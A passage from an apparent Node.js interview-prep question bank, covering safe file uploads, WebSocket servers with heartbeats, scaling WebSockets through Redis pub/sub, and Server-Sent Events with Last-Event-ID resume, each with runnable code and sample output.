too large -> 413 {"fields":{},"files":[{"field":"photo","clientName":"big.bin","saveAs":"file-1.bin","truncated":true,"looksLikePng":false,"bytes":64}]}
files left on disk after the rejected upload: 0
Key points
Parse multipart as a stream, never into one big buffer.
Set limits and answer 413 when the file is truncated.
Ignore the client file name, generate your own.
Check magic bytes, not the extension or declared type.
Clean up partial files and store outside the web root.
Common mistakes
Trusting the file name and writing it into a path.
Trusting the declared Content-Type of the file.
Buffering whole uploads in memory.
Leaving truncated or rejected files on disk.
Storing uploads inside the public folder.
Follow-ups
How do signed upload URLs to object storage change the design?
How does multer differ from busboy?
How do you limit total request size at the proxy?
Tips
Open with 'stream, limit, rename, verify'.
Say that the client controls name and type.
Mention 413 for oversized files.
138.nodejs-0138Mediummid
How do you build a WebSocket server with the ws library: connections, messages, broadcast and a heartbeat to remove dead clients?
WebSocket upgrades an HTTP connection to a persistent two-way channel. With ws, create a WebSocketServer, handle 'connection', and in it handle 'message' and 'close'. Broadcast by looping over wss.clients and checking readyState is OPEN. Connections can die silently, so send ping frames on a timer, mark clients alive when a pong arrives, and terminate those that missed one.
Full answer
Basics
WebSocket starts as an HTTP request with Upgrade: websocket, then both sides send messages whenever they want. It suits chat, live dashboards and collaborative tools. For one-way server updates, Server-Sent Events are simpler.
ws is the common Node library. new WebSocketServer({ port }) or { server } to share an HTTP server. wss.on('connection', (socket, request) => ...).
Messages arrive as Buffers (isBinary tells the type). Convert text with data.toString() and parse JSON inside try/catch.
Close codes: 1000 normal, 1001 going away, 1008 policy violation, 1009 message too big, 1011 server error. Set maxPayload to limit the message size.
Broadcast
Loop over wss.clients. Check client.readyState === WebSocket.OPEN before send. Skip the sender when needed.
Heartbeat
TCP can stay half-open after a phone loses the network or a proxy drops the connection. The server may never see 'close'.
Every 30 seconds: for each client, if isAlive is false then terminate(). Otherwise set isAlive to false and call ping(). On 'pong', set isAlive back to true.
Browsers answer ping frames automatically. The browser API cannot send them, so application-level pings are needed in some cases.
Proxies often close idle connections after 60 seconds, so the heartbeat also keeps them open.
Also remember: authenticate during the upgrade, validate every message, rate limit per connection, handle 'error' events, clean up per-connection state on close, and expect clients to reconnect (use exponential backoff on the client).
javascript
const { WebSocketServer, WebSocket } = require('ws');
const { once } = require('node:events');
const { setTimeout: sleep } = require('node:timers/promises');
async function main() {
const wss = new WebSocketServer({ port: 0, maxPayload: 1024 });
await once(wss, 'listening');
const url = 'ws://127.0.0.1:' + wss.address().port;
wss.on('connection', (socket) => {
socket.isAlive = true;
socket.on('error', () => {}); // always handle errors, for example a message above maxPayload
socket.on('pong', () => { socket.isAlive = true; });
socket.on('message', (data, isBinary) => {
const text = data.toString();
for (const client of wss.clients) {
if (client !== socket && client.readyState === WebSocket.OPEN) client.send(text); // broadcast to everyone else
}
socket.send('ack: ' + text);
});
});
// Heartbeat: one round of the loop that a real server runs every 30 seconds.
const heartbeat = () => {
let terminated = 0;
for (const client of wss.clients) {
if (!client.isAlive) { client.terminate(); terminated++; continue; }
client.isAlive = false;
client.ping();
}
return terminated;
};
const connect = async () => {
const client = new WebSocket(url);
client.inbox = [];
client.on('message', (data) => client.inbox.push(data.toString()));
await once(client, 'open');
return client;
};
const a = await connect();
const b = await connect();
// A client that never answers pings, like a phone that lost its network.
const silent = new WebSocket(url, { autoPong: false });
silent.on('error', () => {});
await once(silent, 'open');
await sleep(20);
a.send('hello from A');
await sleep(50);
console.log('A inbox:', JSON.stringify(a.inbox));
console.log('B inbox:', JSON.stringify(b.inbox));
console.log('connected clients:', wss.clients.size);
console.log('first heartbeat terminated:', heartbeat()); // everyone is marked and pinged
await sleep(50); // a and b answer with pong, silent does not
const terminated = heartbeat();
await sleep(30);
console.log('second heartbeat terminated:', terminated, '| clients left:', wss.clients.size);
// Oversized message: the server closes the connection with code 1009.
const c = await connect();
c.on('error', () => {});
const closed = once(c, 'close');
c.send('x'.repeat(5000));
const [code] = await closed;
console.log('oversized message closes the connection with code', code);
for (const client of wss.clients) client.terminate();
wss.close();
}
main();
Three clients connect and one never answers pings. One message is broadcast, two heartbeat rounds remove the silent client, and an oversized message is rejected with close code 1009. Install first with npm install ws (run here with ws 8.23.1). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
A inbox: ["ack: hello from A"]
B inbox: ["hello from A"]
connected clients: 3
first heartbeat terminated: 0
second heartbeat terminated: 1 | clients left: 2
oversized message closes the connection with code 1009
Key points
WebSocket is a persistent two-way connection after an HTTP upgrade.
Check readyState before sending when broadcasting.
Ping and pong detect dead connections.
Limit payload size and validate messages.
Clients must reconnect with backoff.
Common mistakes
Calling send() without checking readyState.
Relying on the 'close' event alone to detect dead clients.
No payload limit, so one client can send huge messages.
Keeping per-connection data after the socket closed.
No reconnect logic on the client.
Follow-ups
How does the browser WebSocket API differ from ws on the server?
When would you choose Server-Sent Events over WebSocket?
How do you authenticate a WebSocket connection?
Tips
Say 'HTTP upgrade' in the first sentence.
Describe the isAlive pattern.
Mention close code 1009.
139.nodejs-0139Hardsenior
How do you scale WebSockets across several Node.js instances: authentication on upgrade, backpressure, and fan-out through Redis pub/sub?
Each WebSocket lives on one instance, so a message received by instance 1 must reach clients on instance 2. Publish messages to a broker such as Redis pub/sub (or streams) and let every instance forward them to its own clients. Authenticate during the HTTP upgrade and reject with 401 before accepting the socket, and check bufferedAmount to drop or disconnect slow clients instead of filling memory.
Full answer
Why scaling is harder than HTTP
A connection is stateful and long-lived. A load balancer pins it to one instance for its whole life.
Local broadcast (loop over wss.clients) reaches only the clients of that instance.
Fan-out with a broker
On receipt, publish the message to a Redis channel (for example room:42). Every instance subscribes and sends to its own matching clients. Instances need no knowledge of each other.
Redis pub/sub is fire-and-forget: if an instance is down at that moment, it misses the message. For history or replay use Redis Streams, Kafka or a database, and let clients ask for missed messages after they reconnect (with a last seen id).
A subscriber connection cannot run normal commands, so use a separate connection for publishing.
Presence (who is online) needs shared state with expiry, for example Redis keys refreshed by the heartbeat.
Socket.IO has an adapter for this. With plain ws you write it yourself.
Authentication
Browsers cannot set custom headers in the WebSocket constructor. Use a short-lived token in the query string or a cookie, or send a first message with the token and close the socket if it is not valid within a few seconds.
Do the check in the server 'upgrade' event (with noServer: true), and reject with an HTTP 401 response before calling handleUpgrade. Tokens in URLs can leak into logs, so keep them short-lived or use a ticket pattern.
Backpressure and limits
socket.bufferedAmount is the number of bytes queued and not yet sent. If a client is slow and you keep calling send, memory grows. Skip or close clients above a threshold (for example 1 MB).
Set maxPayload, rate limit messages per connection, and cap the number of connections per user.
Operations
Load balancer needs WebSocket support, long idle timeouts, and a graceful drain on deploy (send close 1001 and let clients reconnect with backoff and jitter to avoid a thundering herd).
Monitor connection counts, send queue sizes and reconnect rates.
javascript
const http = require('node:http');
const { once } = require('node:events');
const { setTimeout: sleep } = require('node:timers/promises');
const { WebSocketServer, WebSocket } = require('ws');
const Redis = require('ioredis');
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';
const CHANNEL = 'demo-chat-' + process.pid;
async function startInstance(name) {
const server = http.createServer();
const wss = new WebSocketServer({ noServer: true });
const publisher = new Redis(REDIS_URL);
const subscriber = new Redis(REDIS_URL);
server.on('upgrade', (req, socket, head) => {
const token = new URL(req.url, 'http://localhost').searchParams.get('token');
if (token !== 'valid-ticket') { // reject before the upgrade is accepted
socket.write('HTTP/1.1 401 Unauthorized\r\nConnection: close\r\n\r\n');
return socket.destroy();
}
wss.handleUpgrade(req, socket, head, (ws) => wss.emit('connection', ws, req));
});
wss.on('connection', (ws) => {
ws.on('message', (data) => publisher.publish(CHANNEL, JSON.stringify({ via: name, text: data.toString() })));
});
await subscriber.subscribe(CHANNEL);
subscriber.on('message', (channel, message) => {
for (const client of wss.clients) {
if (client.readyState === WebSocket.OPEN && client.bufferedAmount < 1_000_000) client.send(message); // skip slow clients
}
});
server.listen(0, '127.0.0.1');
await once(server, 'listening');
const close = async () => { for (const c of wss.clients) c.terminate(); wss.close(); server.close(); publisher.disconnect(); subscriber.disconnect(); };
return { port: server.address().port, close };
}
async function connect(port, token) {
const ws = new WebSocket(`ws://127.0.0.1:${port}/?token=${token}`);
ws.inbox = [];
ws.on('message', (data) => ws.inbox.push(data.toString()));
await Promise.race([once(ws, 'open'), once(ws, 'error')]);
return ws;
}
async function main() {
const one = await startInstance('instance-1');
const two = await startInstance('instance-2');
const alice = await connect(one.port, 'valid-ticket'); // connected to instance 1
const bob = await connect(two.port, 'valid-ticket'); // connected to instance 2
await sleep(50);
alice.send('hello from Alice');
await sleep(100);
console.log('Bob (instance 2) received:', bob.inbox.join(' | '));
console.log('Alice (instance 1) received:', alice.inbox.join(' | '));
const rejected = new WebSocket(`ws://127.0.0.1:${one.port}/?token=wrong`);
rejected.on('error', (err) => console.log('wrong token ->', err.message));
await new Promise((resolve) => rejected.on('close', resolve));
alice.terminate(); bob.terminate();
await one.close(); await two.close();
}
main();
Two server instances run in one process, each with its own Redis connections. A message sent to instance 1 reaches the client on instance 2, and a wrong token is refused during the upgrade. Install first with npm install ws ioredis (run here with ws 8.23.1, ioredis 6.1.1). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
Bob (instance 2) received: {"via":"instance-1","text":"hello from Alice"}
Alice (instance 1) received: {"via":"instance-1","text":"hello from Alice"}
wrong token -> Unexpected server response: 401
Key points
A socket lives on one instance, so use a broker for fan-out.
Redis pub/sub is fire-and-forget; use streams for replay.
Authenticate in the upgrade handler and reject with 401.
Check bufferedAmount and drop slow clients.
Drain gracefully on deploy and reconnect with jitter.
Common mistakes
Broadcasting only to local clients and wondering why other users miss messages.
Using the subscriber connection to publish.
Accepting the socket first and checking the token later.
Calling send in a loop for a slow client with no bufferedAmount check.
Restarting all instances at once, so every client reconnects together.
Follow-ups
When would you use Redis Streams instead of pub/sub?
How does sticky routing help or hurt WebSocket scaling?
How do you handle presence and typing indicators across instances?
Tips
Say 'a socket lives on one instance' first.
Name the broker and its weakness.
Mention bufferedAmount and graceful drain.
140.nodejs-0140Easyfresher
What are Server-Sent Events, how do you implement them in Node.js, and how does Last-Event-ID help clients resume?
SSE is a one-way stream from server to browser over a normal HTTP response with Content-Type text/event-stream. Each event is lines such as id:, event: and data:, ended by a blank line. The browser's EventSource reconnects by itself and sends the Last-Event-ID header, so the server can resume. Send comment lines as heartbeats and watch for the client closing the connection.
Full answer
Format
Response headers: Content-Type: text/event-stream, Cache-Control: no-cache, and Connection: keep-alive for HTTP/1.1.
An event is text lines followed by an empty line:
id: 7
event: progress
data: {"percent":70}
Several data lines are joined with newlines. Lines that start with a colon are comments, often used as heartbeats (: ping).
retry: 3000 tells the client how many milliseconds to wait before reconnecting.
Client
Browser: new EventSource('/events'). It reconnects automatically after errors and sends Last-Event-ID with the last id it received. Authentication is limited to cookies, because custom headers cannot be set (a fetch-based client or a polyfill can send them). Node also has fetch, which can read the stream; a parser is a few lines.
Server in Node
Write with res.write(...). Do not call res.end() until the client leaves or the job finishes.
Send a heartbeat comment every 15 to 30 seconds so proxies do not close an idle connection.
Listen for req.on('close') to stop timers and remove the client from your list. Otherwise you leak memory.
Disable response buffering and compression for this route (proxies such as nginx need buffering off).
For resume, keep recent events with ids, read the Last-Event-ID header, and replay the missed ones.
SSE versus WebSocket
SSE: one direction, plain HTTP, automatic reconnect, works with HTTP/2 multiplexing. Good for notifications, progress, feeds, and streaming responses.
WebSocket: two directions, binary, custom protocol. More moving parts.
Limit: browsers allow about six connections per host over HTTP/1.1, so use HTTP/2 in production.
javascript
const http = require('node:http');
const history = []; // recent events kept for replay
for (let id = 1; id <= 5; id++) history.push({ id, data: { step: id } });
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache' });
const lastId = Number(req.headers['last-event-id'] || 0);
res.write('retry: 1000\n\n');
for (const event of history.filter((e) => e.id > lastId)) { // replay what the client missed
res.write(`id: ${event.id}\nevent: step\ndata: ${JSON.stringify(event.data)}\n\n`);
}
res.write(': heartbeat\n\n');
res.end(); // this demo ends the stream, a real one keeps it open
});
// A tiny SSE parser built on fetch.
async function readEvents(url, headers = {}) {
const res = await fetch(url, { headers });
const events = [];
let current = {};
let buffer = '';
const decoder = new TextDecoder();
for await (const chunk of res.body) {
buffer += decoder.decode(chunk, { stream: true });
let index;
while ((index = buffer.indexOf('\n\n')) !== -1) {
const block = buffer.slice(0, index);
buffer = buffer.slice(index + 2);
current = {};
for (const line of block.split('\n')) {
if (line.startsWith(':')) { current.comment = line.slice(1).trim(); continue; }
const [field, ...rest] = line.split(':');
current[field] = rest.join(':').trim();
}
events.push(current);
}
}
return { type: res.headers.get('content-type'), events };
}
server.listen(0, '127.0.0.1', async () => {
const url = 'http://127.0.0.1:' + server.address().port;
const first = await readEvents(url);
console.log('content type:', first.type);
console.log('first connection ids:', first.events.filter((e) => e.id).map((e) => e.id).join(','));
console.log('comment event:', first.events.at(-1).comment);
// The connection dropped after id 3. The client reconnects with Last-Event-ID.
const second = await readEvents(url, { 'Last-Event-ID': '3' });
console.log('after reconnect with Last-Event-ID 3:', second.events.filter((e) => e.id).map((e) => `${e.id}:${e.data}`).join(' '));
server.close();
});
The server replays stored events. The second request sends Last-Event-ID 3 and receives only the events after it. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
content type: text/event-stream
first connection ids: 1,2,3,4,5
comment event: heartbeat
after reconnect with Last-Event-ID 3: 4:{"step":4} 5:{"step":5}
Key points
SSE is a one-way text stream over HTTP.
Events use id, event and data lines and a blank line.
EventSource reconnects and sends Last-Event-ID.
Use heartbeats and clean up on 'close'.
WebSocket is for two-way messaging.
Common mistakes
Calling res.end() right after writing and breaking the stream.
Forgetting the blank line after each event.
Not cleaning up on the 'close' event.
Leaving proxy buffering or compression on for the stream.
Using SSE where the client must send data often.
Follow-ups
How does EventSource authenticate when it cannot set headers?
How would you stream a long job's progress to many clients?
How does HTTP/2 change the connection limit problem?